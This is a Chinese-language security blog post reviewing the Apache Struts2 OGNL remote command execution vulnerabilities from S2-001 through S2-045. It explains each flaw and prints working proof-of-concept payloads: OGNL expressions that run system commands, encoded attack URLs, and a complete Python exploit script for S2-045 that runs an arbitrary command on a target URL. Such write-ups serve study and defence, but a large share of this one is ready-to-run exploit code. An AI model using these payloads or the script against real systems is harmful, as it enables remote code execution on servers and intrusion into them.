ref:http://www.zerokeeper.com/vul-analysis/struts2-command-execution-series-review.html

Struts2 命令执行系列回顾

Jun 05,2017 in 漏洞分析 lang 繁 read (3897)

一直都想分析下 Struts2 命令执行系列的的漏洞,但是能力有限,对 java、Struts2 都不熟悉。后来偶然看到 rickgray 的分析文章,尝试简单分析,做个记录 o(╯□╰)o
这是 Struts2 官方的各个版本历史记录 Security Bulletins
Struts2 命令执行的原因都是是通过 Ognl 表达式执行 java 代码,最终实现命令执行。所以应该需要先了解 ognl 表达式。

ongl 表达式

下面引用来自 OGNL 设计及使用不当造成的远程代码执行漏洞

OGNL 是 Object-Graph Navigation Language 的缩写,它是一种功能强大的表达式语言(Expression
Language,简称为 EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。
OGNL 三要素:(以下部分摘抄互联网某处, 我觉得说得好)

  1. 表达式(Expression)

表达式是整个 OGNL 的核心,所有的 OGNL 操作都是针对表达式的解析后进行的。表达式会规定此次 OGNL 操作到底要干什么。我们可以看到,在上面的测试中,name、department.name 等都是表达式,表示取 name 或者 department 中的 name 的值。OGNL 支持很多类型的表达式,之后我们会看到更多。

  1. 根对象(Root Object)

根对象可以理解为 OGNL 的操作对象。在表达式规定了 “干什么” 以后,你还需要指定到底“对谁干”。在上面的测试代码中,user 就是根对象。这就意味着,我们需要对 user 这个对象去取 name 这个属性的值(对 user 这个对象去设置其中的 department 中的 name 属性值)。

  1. 上下文环境(Context)

有了表达式和根对象,我们实际上已经可以使用 OGNL 的基本功能。例如,根据表达式对根对象进行取值或者设值工作。不过实际上,在 OGNL 的内部,所有的操作都会在一个特定的环境中运行,这个环境就是 OGNL 的上下文环境(Context)。说得再明白一些,就是这个上下文环境(Context),将规定 OGNL 的操作 “在哪里干”。
OGN L 的上下文环境是一个 Map 结构,称之为 OgnlContext。上面我们提到的根对象(Root
Object),事实上也会被加入到上下文环境中去,并且这将作为一个特殊的变量进行处理,具体就表现为针对根对象(Root
Object)的存取操作的表达式是不需要增加 #符号进行区分的。

表达式功能操作清单:

  1. 1. 基本对象树的访问
  2. 对象树的访问就是通过使用点号将对象的引用串联起来进行。
  3. 例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx
  4. 2. 对容器变量的访问
  5. 对容器变量的访问,通过#符号加上表达式进行。
  6. 例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx
  7. 3. 使用操作符号
  8. OGNL表达式中能使用的操作符基本跟Java里的操作符一样,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用 mod, in, not in等。
  9. 4. 容器、数组、对象
  10. OGNL支持对数组和ArrayList等容器的顺序访问:例如:group.users[0]
  11. 同时,OGNL支持对Map的按键值查找:
  12. 例如:#session['mySessionPropKey']
  13. 不仅如此,OGNL还支持容器的构造的表达式:
  14. 例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map
  15. 你也可以通过任意类对象的构造函数进行对象新建:
  16. 例如:new Java.net.URL("xxxxxx/")
  17. 5. 对静态方法或变量的访问
  18. 要引用类的静态方法和字段,他们的表达方式是一样的@class@member或者@class@method(args):
  19. 例如:@com.javaeye.core.Resource@ENABLE,@com.javaeye.core.Resource@getAllResources
  20. 6. 方法调用
  21. 直接通过类似Java的方法调用方式进行,你甚至可以传递参数:
  22. 例如:user.getName(),group.users.size(),group.containsUser(#requestUser)
  23. 7. 投影和选择
  24. OGNL支持类似数据库中的投影(projection) 和选择(selection)。
  25. 投影就是选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作。投影操作语法为 collection.{XXX},其中XXX 是这个集合中每个元素的公共属性。
  26. 例如:group.userList.{username}将获得某个group中的所有user的name的列表。
  27. 选择就是过滤满足selection 条件的集合元素,类似于关系数据库的纪录操作。选择操作的语法为:collection.{X YYY},其中X 是一个选择操作符,后面则是选择用的逻辑表达式。而选择操作符有三种:
  28. ? 选择满足条件的所有元素
  29. ^ 选择满足条件的第一个元素
  30. $ 选择满足条件的最后一个元素
  31. 例如:group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。

所以理论上外部某些参数能够进入 OGNL 流程,那么可以执行恶意代码,而且 Struts2 大量地使用了 OGNL,导致漏洞触发率大大增加。

触发途径

通过对一系列的 struts2 的 poc 观察,一般是通过修改 StaticMethodAccess 或是创建 ProcessBuilder 对象。

  1. #_memberAccess["allowStaticMethodAccess"]=true // 用来授权允许调用静态方法
  2. new java.lang.ProcessBuilder(new java.lang.String[]{'cat','/etc/passwd'})).start()

但 struts2 加强了 ognl 的验证,allowStaticMethodAccess 已经变成的 final 属性,但是任然有方法可以绕过。

s2-001

官方链接:https://struts.apache.org/docs/s2-001.html

影响版本:Struts 2.0.0 -Struts 2.0.8

修复摘要:数据 re-display 时禁止执行 OGNL 表达式

该漏洞其实是因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value}
进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析。

Poc:
获取 tomcat 执行路径:

  1. %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

获取 Web 路径:

  1. %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

命令执行:

  1. %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

s2-007

官方链接:https://struts.apache.org/docs/s2-007.html

影响版本:Struts 2.0.0 - Struts 2.2.3

修复摘要:在转换的过程中进行字符过滤

修复补丁:https://fisheye6.atlassian.com/changelog/struts?cs=b4265d369dc29d57a9f2846a85b26598e83f3892

当配置了验证规则 -validation.xml
时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回。例如这里有一个
UserAction:

  1. (...)
  2. public class UserAction extends ActionSupport {
  3. private Integer age;
  4. private String name;
  5. private String email;
  6. (...)

然后配置有 UserAction-validation.xml:

  1. <?xml version="1.0" encoding="UTF-8" ?>
  2. <!DOCTYPE validators PUBLIC
  3. "-//OpenSymphony Group//XWork Validator 1.0//EN"
  4. "http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
  5. <validators>
  6. <field name="age">
  7. <field-validator type="int">
  8. <param name="min">1</param>
  9. <param name="max">150</param>
  10. </field-validator>
  11. </field>
  12. </validators>

当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'"+ value +"'" 然后对其进行 OGNL
表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQLi 注入单引号拼接的方式即可注入任意
OGNL 表达式。

Poc:

  1. ' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())) + '

s2-008

官方链接:https://struts.apache.org/docs/s2-008.html

影响版本:Struts 2.1.0 - Struts 2.3.1

修复摘要:添加参数名和 Cookie 名白名单 acceptedParamNames = “[a-zA-Z0-9.][()_’]+”;

S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对
Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启
devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx
所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug
模式的应用到服务器上作为后门也是有可能的。

例如在 devMode 模式下直接添加参数 ?debug=command&expression= 会直接执行后面的
OGNL 表达式,因此可以直接执行命令(注意转义):

Poc:

  1. http://localhost:8080/S2-008/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29)

s2-012

官方链接:https://struts.apache.org/docs/s2-012.html

影响版本:Struts 2.0.0 - Struts 2。3.13

修复摘要:默认禁用 OGNLUtil 类的 OGNL 表达式执行

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

/index.jsp?name=${name}
/index.jsp /index.jsp 这里
UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name}
获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行

Poc:

  1. %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

s2-013/s2-014

官方链接:https://struts.apache.org/docs/s2-013.html,
https://struts.apache.org/docs/s2-014.html

影响版本:Struts 2.0.0 - Struts 2.3.14 (Struts 2.3.14.1)

修复摘要:在对标签进行请求参数操作时禁用 OGNL 表达式解析 Struts2 标签中 <s:a> 和 <s:url> 都包含一个
includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

none - 链接不包含请求的任意参数值(默认) get - 链接只包含 GET 请求中的参数和其值 all - 链接包含 GET 和
POST 所有参数和其值 若设置了 includeParams="get" 或者
includeParams="all",在获取对应类型参数时后端会对参数值进行 OGNL 表达式解析,因此可以插入任意 OGNL
表达式导致命令执行

Poc:

  1. ${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream(),#b=new
  2. java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new
  3. char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}
  4. // 或
  5. ${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())}

如:

  1. http://localhost:8080/S2-013/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('whoami').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

S2-014 是对 S2-013 修复的加强,在 S2-013 修复的代码中忽略了 ${ognl_exp} OGNL 表达式执行的方式,因此
S2-014 是对其的补丁加强。

  1. http://localhost:8080/S2-013/link.action?xxxx=%24%7B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%29%28%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue%29%28@java.lang.Runtime@getRuntime%28%29.exec%28%22open%20%2fApplications%2fCalculator.app%22%29%29%7D

s2-015

官方链接:https://struts.apache.org/docs/s2-015.html

影响版本:Struts 2.0.0 - Struts 2.3.14.2

修复摘要:针对 Action 名称进行默认字符限制 [a-z][A-Z][0-9][.-_!/] 漏洞产生于配置了 Action 通配符
*,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如:

/{1}.jsp
上述配置能让我们访问 name.action 时使用 name.jsp
来渲染页面,但是在提取 name 并解析时,对其执行了 OGNL 表达式解析,所以导致命令执行。在实践复现的时候发现,由于 name
值的位置比较特殊,一些特殊的字符如 / " 
都无法使用(转义也不行),所以在利用该点进行远程命令执行时一些带有路径的命令可能无法执行成功。

还有需要说明的就是在 Struts 2.3.14.1 - Struts 2.3.14.2 的更新内容中,删除了
SecurityMemberAccess 类中的 setAllowStaticMethodAccess 方法,因此在 2.3.14.2
版本以后都不能直接通过 #_memberAccess['allowStaticMethodAccess']=true
来修改其值达到重获静态方法调用的能力。

这里为了到达执行命令的目的可以用 kxlzx 提到的调用动态方法 (new
java.lang.ProcessBuilder('calc')).start() 来解决,另外还可以借助 Java 反射机制去间> 接修改:
#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)

Poc:

  1. http://localhost:8080/S2-015/${%23context['xwork.MethodAccessor.denyMethodExecution']=false,%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream())}.action

s2-16

官方链接:https://struts.apache.org/docs/s2-016.html

影响版本:Struts 2.0.0 - Struts 2.3.15

修复摘要:删除 “action:”,”redirect:”,”redirectAction:” 这些前置前缀调用
DefaultActionMapper 类支持以 action:,redirect: 和 redirectAction:
作为访问前缀,前缀后面可以跟 OGNL 表达式,由于 Struts2 未对其进行过滤,导致任意 Action 可以使用这些前缀执行任意
OGNL 表达式,从而导致任意命令执行,经测试发现 redirect: 和 redirectAction:
这两个前缀比较好容易构造出命令执行的 Payload(转义后)

Poc:

  1. http://localhost:8080/S2-016/default.action?redirect:%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%7D

s2-019

官方链接:http://struts.apache.org/docs/s2-019.html

影响版本: Struts 2.0.0 - Struts 2.3.15.1

因为开启了开发者模式,传入 debug=command&expression = 导致执行 OGNL 表达式,从而造成命令执行漏洞。

Poc:
获取 web 目录:

  1. http://localhost:8080/S2-019/example/HelloWorld.action?debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27whoami%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28%27dbapp%3A%27%2bnew%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%0A

s2-029

官方链接:https://struts.apache.org/docs/s2-029.html

影响版本:Struts 2.0.0 - Struts 2.3.16

修复摘要:限制传入标签属性的值,对其进行合规的正则验证 简单的说就是当开发者在模版中使用了类似如下的标签写法时,后端 Struts2
处理时会导致二次 OGNL 表达式执行的情况:

<s:textfield name="%{message}"></s:textfield> 这里需要注意的是,仅当只有 name
属性这样写的情况下才能触发 OGNL 表达式执行,并且该标签中不能显示写有 value
属性。详细分析可参考天融信阿尔法实验室的张萌所写的《struts2 漏洞 s2-029 分析》

到 S2-029 这里是,Struts2 已经增加了相当多的安全检测了,所以想要直接执行命令还需要通
过修改这些安全参数来绕过最后的执行检测,具体的安全参数版本差异同样可参考上面的详细分析文章。

Poc:

  1. http://localhost:8080/S2-029/default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))

s2-032

官方链接:https://struts.apache.org/docs/s2-032.html

影响版本:Struts 2.3.20 - Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

修复摘要:过滤通过 method: 传入的 action 名称,限制其字符范围 protected Pattern
allowedActionNames = Pattern.compile(“[a-zA-Z0-9._!/-]*”); 在配置了
Struts2 DMI 为 True 的情况下,可以使用 method: Action 前缀去调用声明为 public
的函数,DMI 的相关使用方法可参考官方介绍(Dynamic Method Invocation),这个 DMI
的调用特性其实一直存在,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL
计算,而在高版本中会,代码详情可参考阿尔法实验室的报告 - 《Apache Struts2 s2-032 技术分析及漏洞检测脚本》

要成功利用必须要开 DMI 才可以:

找到目标应用有效的 Action 例如 index.action,那么直接使用 DMI 在 method: 后面带上需要执行 OGNL 表达式即可(注意转义)

Poc:
获取 web 目录:

  1. http://localhost:8080/S2-032/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23parameters.web[0]),%23w.print(%23parameters.path[0]),%23w.print(%23path),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8&web=web&path=path%3a

命令执行:

  1. http://localhost:8080/S2-032/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=whoami

s2-devMode

影响:Struts 2.1.0--2.5.1

当 Struts2 开启 devMode 模式时,将导致严重远程代码执行漏洞。如果 WebService 启动权限为最高权限时,可远程执行任意命令,包括关机、建立新用户、以及删除服务器上所有文件等等。

Poc:

  1. http://localhost:8080/S2-devMode/orders/3/?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=netstat -ano

S2-045

官方链接:http://struts.apache.org/docs/s2-045.html

影响版本:Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

通过 Content-Type 这个 header 头,注入 OGNL 语言,进而执行命令。

Poc:

  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3. import urllib2
  4. import httplib
  5. def exploit(url, cmd):
  6. payload = "%{(#_='multipart/form-data')."
  7. payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
  8. payload += "(#_memberAccess?"
  9. payload += "(#_memberAccess=#dm):"
  10. payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
  11. payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
  12. payload += "(#ognlUtil.getExcludedPackageNames().clear())."
  13. payload += "(#ognlUtil.getExcludedClasses().clear())."
  14. payload += "(#context.setMemberAccess(#dm))))."
  15. payload += "(#cmd='%s')." % cmd
  16. payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
  17. payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
  18. payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
  19. payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
  20. payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
  21. payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
  22. payload += "(#ros.flush())}"
  23. try:
  24. headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
  25. request = urllib2.Request(url, headers=headers)
  26. page = urllib2.urlopen(request).read()
  27. except httplib.IncompleteRead, e:
  28. page = e.partial
  29. print(page)
  30. return page
  31. if __name__ == '__main__':
  32. import sys
  33. if len(sys.argv) != 3:
  34. print("[*] struts2_S2-045.py <url> <cmd>")
  35. else:
  36. print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
  37. url = sys.argv[1]
  38. cmd = sys.argv[2]
  39. print("[*] cmd: %s\n" % cmd)
  40. exploit(url, cmd)

参考

  1. Struts2 历史 RCE 漏洞回顾不完全系列
  2. Struts2 命令执行集合
  3. vulhub
  4. VulApps
最后由 zerokeeper 编辑于 2017:10:31

TAGGED IN
命令执行struts2

 

© 2016 ZeroKeeper's Blog / Loading time 0.144s

 

ref:Struts2 命令执行系列回顾的更多相关文章

  1. Struts2再爆远程命令执行漏洞![W3bSafe]Struts2-048 Poc Shell及防御修复方案抢先看!

    漏洞概述 Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架.在Struts 2.3.x 系列的 Show ...

  2. struts2远程命令执行漏洞S2-045

    Apache Struts2最新漏洞(CVE-2017-5638,S02-45) struts2远程命令执行漏洞S2-045 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-04 ...

  3. struts2(s2-052)远程命令执行漏洞复现

    漏洞描述: 2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为C ...

  4. Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现

    Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现 一.漏洞概述 Apache Struts2的REST插件存在远程代码执行的高危漏洞,Struts2 RES ...

  5. Apache struts2 Freemarker标签远程命令执行_CVE-2017-12611(S2-053)漏洞复现

    Apache struts2 Freemarker标签远程命令执行_CVE-2017-12611(S2-053)漏洞复现 一.漏洞描述 Struts2在使用Freemarker模块引擎的时候,同时允许 ...

  6. Apache struts2 namespace远程命令执行_CVE-2018-11776(S2-057)漏洞复现

    Apache struts2 namespace远程命令执行_CVE-2018-11776(S2-057)漏洞复现 一.漏洞描述 S2-057漏洞产生于网站配置xml的时候,有一个namespace的 ...

  7. NETGEAR 系列路由器命令执行漏洞简析

    NETGEAR 系列路由器命令执行漏洞简析 2016年12月7日,国外网站exploit-db上爆出一个关于NETGEAR R7000路由器的命令注入漏洞.一时间,各路人马开始忙碌起来.厂商忙于声明和 ...

  8. 小米范工具系列之十:小米范SSH批量命令执行工具

    小米范SSH批量命令执行工具的主要功能是自动登录多台机器,并执行指定的命令,比如批量抓取shadow.批量获取系统版本.或者做基线时批量抓取配置等. 此工具使用java 1.8以上版本运行. 界面如下 ...

  9. Java命令学习系列(二)——Jstack

    Java命令学习系列(二)——Jstack 2015-04-18 分类:Java 阅读(512) 评论(0) jstack是java虚拟机自带的一种堆栈跟踪工具. 功能 jstack用于生成java虚 ...

随机推荐

  1. ios 替换字符串中的部分字符串

    1.使用NSString中的stringByTrimmingCharactersInset:[NSCharacterSet whitespaceCharacterSet]方法去掉左右两边的空格: 2. ...

  2. 维护前面的position+主席树 Codeforces Round #406 (Div. 2) E

    http://codeforces.com/contest/787/problem/E 题目大意:给你n块,每个块都有一个颜色,定义一个k,表示在区间[l,r]中最多有k中不同的颜色.另k=1,2,3 ...

  3. 重构改善既有代码设计--重构手法11:Move Field (搬移字段)

    你的程序中,某个字段被其所驻类之外的另一个类更多的用到.在目标类建立一个新字段,修改源字段的所有用户,令它们改用新字段.        动机:在类之间移动状态和行为,是重构过程中必不可少的措施.随着系 ...

  4. .net中的lock

     lock锁 //定义一个私有成员变量,用于Lock的锁定标志 private static object lockobj = new object(); void DoSomething() { l ...

  5. .NET面试题系列(二)GC

    序言 对象生存期 Phone item=new Phone() 在C#中,创建对象使用的是new关键字. 要注意的是new操作返回的并不是对象本身,而是对象的一个引用(Reference). 如果使用 ...

  6. 谈谈对Spring IOC(控制反转)的理解--转

    谈谈对Spring IOC(控制反转)的理解--转   学习过Spring框架的人一定都会听过Spring的IoC(控制反转) .DI(依赖注入)这两个概念,对于初学Spring的人来说,总觉得IoC ...

  7. 登入时session的处理方式

    暂时理解不够彻底  有空在详细介绍,先记录代码 1:创建一个工具类  存取当前登录用户 package com.liveyc.eloan.util; import javax.servlet.http ...

  8. hash(2018年CSUST省赛选拔赛第一场B题+hash+字典树)

    题目链接:http://csustacm.com:4803/problem/1006 题目: 思路:正如题目一样,本题是一个hash,比赛的时候用的字典树,但是不知道为什么一直RE(听学长说要动态开点 ...

  9. ACM-ICPC北京赛区2018重现赛 A题

    题目链接:http://hihocoder.com/contest/icpcbeijing2018/problem/1 具体思路:dfs,判断矛盾就可以了. AC代码: #include<ios ...

  10. dlmalloc(一)【转】

    转自:http://blog.csdn.net/ycnian/article/details/12971863 我们写过很多C程序了,经常会分配内存.记得刚学C语言时老师说过,可以向两个地方申请内存: ...